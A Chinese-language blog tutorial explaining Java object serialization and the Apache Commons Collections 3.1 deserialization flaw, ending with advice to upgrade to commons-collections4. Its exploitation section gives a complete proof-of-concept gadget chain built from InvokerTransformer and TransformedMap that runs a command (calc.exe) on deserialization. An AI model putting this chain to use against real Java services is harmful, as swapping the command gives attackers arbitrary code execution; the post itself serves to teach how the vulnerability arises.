java反序列化漏洞之Apache CommonsCollections浅析

主要从Commons Collections 包来浅析java反序列化漏洞成因。

一、对象序列化

对象序列化是一个用于将对象状态转换为字节流的过程,可以将其保存到磁盘文件中或通过网络发送到任何其他程序。通过实现java.io.Serializable接口,可以在Java类中启用可序列化。

序列化简单实现例子如下:

public class Student implements Serializable {
    
    private String name;
    public Student(String name){
        this.name = name;
    }
    
    public String toSting(){
        return "my name is " + name;
    }

}

将其序列化到文件中,代码如下:

public static void main(String[] args) throws Exception{

        Student student = new Student("ramboo");
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(student);
        oos.close();
        
    }

保存到文件中的内容如下:

¬í �sr �com.example.demo.StudentötB&�óOĹ� �L �namet �Ljava/lang/String;xpt �ramboo

以上保存的内容是二进制数据。保存的文件本身不可以直接修改,因为会破坏其保存的格式。

二、对象反序列化

使用对象输入流读入对象的过程称为反序列化。简单来说,就是从一组序列化后的二进制流重新构造成对象的过程。

与反序列化密切相关的就是对象输入流ObjectInputStream以及其方法readObject()

以下代码是通过ObjectInputStream读取从上述序列化到文件中的二进制流。

 public static void main(String[] args) throws Exception{
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectInputStream ois = null;
        InputStream input = new FileInputStream(file);
        ois = new ObjectInputStream(input);
        Object object = ois.readObject();
        ois.close();
        System.out.println(object.toString());

    }

以上代码结果输出如下:

Student{name='ramboo'}

接下来再看,如果将反序列化的目标对象添加readObject方法,如下:

public class Student implements Serializable {

    private String name;
    public Student(String name){
        this.name = name;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream stream)
            throws IOException, ClassNotFoundException{
        System.out.println("this method is override,haha");
    }
}

则上述反序列化的代码将会输出如下结果:

this method is override,haha
Student{name='null'}

通过以上可知,在被反序列化的目标对象中重写readObject方法,则反序列化的结果是不再读取文件中的二进制流,而是直接执行了已经重写的readObject方法。而反序列化漏洞就是从这个地方而来。

如果目标对象的readObject进行了一些更复杂的操作的时候,那么极有可能给恶意代码提供可乘之机。例如在此方法中实现弹出计算器:

private void readObject(ObjectInputStream stream)
            throws Exception{
        Object runTime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);
        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runTime,"calc.exe");
    }

再执行上述main方法,则会弹出计算器,如下图所示:

1.png

三、反序列化漏洞

反序列化漏洞,就是程序传送了不安全的反序列化对象,并且程序没有对此不安全的对象做过滤及限制,导致执行了不安全的对系统造成破坏性的操作。

下面主要分析一下apache common collections包存在的反序列化漏洞

四、apache common collections反序列化漏洞

本例是使用具有漏洞的版本3.1进行说明。

4.1、定义

apache common collections到底有何妙用,能让WebLogic、WebSphere、JBoss、Jenkins、OpenNMS都纷纷青睐。引用某博客中的一段话加以说明:

此包中对Java中的集合类进行了一定的补充,定义了一些全新的集合,当然也是实现了Collection接口的,比如Bag,BidiMap。同时拥有新版本的原有集合,比如FastArrayList。最后,更为重要的是一系列utils类,提供了我们常用的集合操作,可以大大方便我们的日常编程。

对于具体有哪些用途,本人也没有具体深入研究。本篇主要聚焦此包中为何会存在反序列化漏洞。通过一系列调研,此包中存在反序列化漏洞是由于TransformedMapInvokerTransformer造成的。

4.2、浅析

TransformedMap这个类是用来对Map进行某些变换用的。当我们修改Map中的某个值,不管是key还是value,就会触发我们预先定义好的某些操作来对Map进行处理。实例化TransformedMap这个对象是通过其静态方法decorate得到的,如下:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);

其中,map为普通的Map,keyTransformer和valueTransformer分别对应当key改变和value改变时需要做的操作,其类型实现了Transformer接口。该接口定义如下:

public interface Transformer {
    Object transform(Object var1);
}

其中只定义了一个transform方法。这个方法会在key或者value改变时触发调用。如果需要触发一系列操作,可定义ChainedTransformer来实现。具体操作如下:

首先定义一个Transformer数组:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(...),
    new InvokerTransformer(...),
        .....
};

其次实例化ChainedTransformer

Transformer chainedTransformer = new ChainedTransformer(transformers);

最后传入TransformedMap实例化参数中:

Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

此时,如果map中的value发生变化,会调用chainedTransformer中定义的transform方法:

public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

从中可以看到,此类中的transform方法会将上一次变换的结果作为下一次变换的输入,直到所有的变换完成,并返回最终的object。

现在真正的主角出场,InvokerTransformer。如果在变换链中有InvokerTransformer,则也会调用transform方法,它对应方法实现如下:

public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

从中可以看出,它是利用反射机制来调用对应的方法。如果input可控,输入一些非法的对象,则会带来安全风险。那么如何利用此漏洞呢?

4.3、利用

成功利用需满足的条件如下:

1、序列化对象具有不安全性

2、被反序列化对象已经重写了readObject方法

3、外部能够触发readObject方法

根据以上条件,简单利用此漏洞的序列化对象如下所示:

package com.example.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

/**
 * 反序列化payload
 *
 * @author:xing.hang
 * @created 2019-07-11 19:35
 */
public class SerializablePayload implements Serializable {

    private Map transformedMap  = null;

    public SerializablePayload(Map transformedMap){
        this.transformedMap = transformedMap;
    }

    private void readObject(ObjectInputStream stream)
            throws Exception{
        stream.defaultReadObject();
        Map.Entry entry = (Map.Entry) this.transformedMap.entrySet().iterator().next();
        entry.setValue("xing");

    }

    public static void main(String[] args) throws Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };
        Map map = new HashMap();
        map.put("name","ramboo");
        Transformer valueTransformer = new ChainedTransformer(transformers);
        Map transformedMap = TransformedMap.decorate(map,null,valueTransformer);
        SerializablePayload payload = new SerializablePayload(transformedMap);
        File file = new File("E:"+ File.separator+"text.txt");
        ObjectOutputStream oos = null;
        OutputStream out = new FileOutputStream(file);
        oos = new ObjectOutputStream(out);
        oos.writeObject(payload);
        oos.close();

    }

}

执行此段代码,会将对象序列化保存到文件中。其中

 Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
                        String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{
                        Object.class,Object[].class},new Object[]{null,new Class[0]}),
                new InvokerTransformer("exec",new Class[]{
                        String.class},new Object[]{"calc.exe"})
        };

其功能是弹出计算器。如果直接利用java普通方法操作,则代码如下:

Runtime.getRuntime().exec("calc.exe");

由于InvokerTransformer类中的transform方法采用了反射机制执行相应操作,所以便有了上述的代码块。

一旦我们对保存过的二进制文件反序列化,则会调用readObject,在此方法中,修改了map的value值。map中的value发生变化,会依次执行transformers数组中的各个类的transform方法。继而弹出计算器,目标达成。

以上便是对apache common collections包反序列化漏洞的成因的简单分析。我们在开发过程中,如果使用此包,可更新为最新版本。目前最新版本是4.4,使用方法也有所不同,大家如有兴趣,可自行查看。相关依赖如下:

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.4</version>
</dependency>

受影响版本为:

Apache Commons Collections <= 3.2.1,<= 4.0.0

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 215,384评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,845评论 3 391
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 161,148评论 0 351
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,640评论 1 290
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,731评论 6 388
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,712评论 1 294
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,703评论 3 415
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,473评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,915评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,227评论 2 331
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,384评论 1 345
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,063评论 5 340
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,706评论 3 324
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,302评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,531评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,321评论 2 368
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,248评论 2 352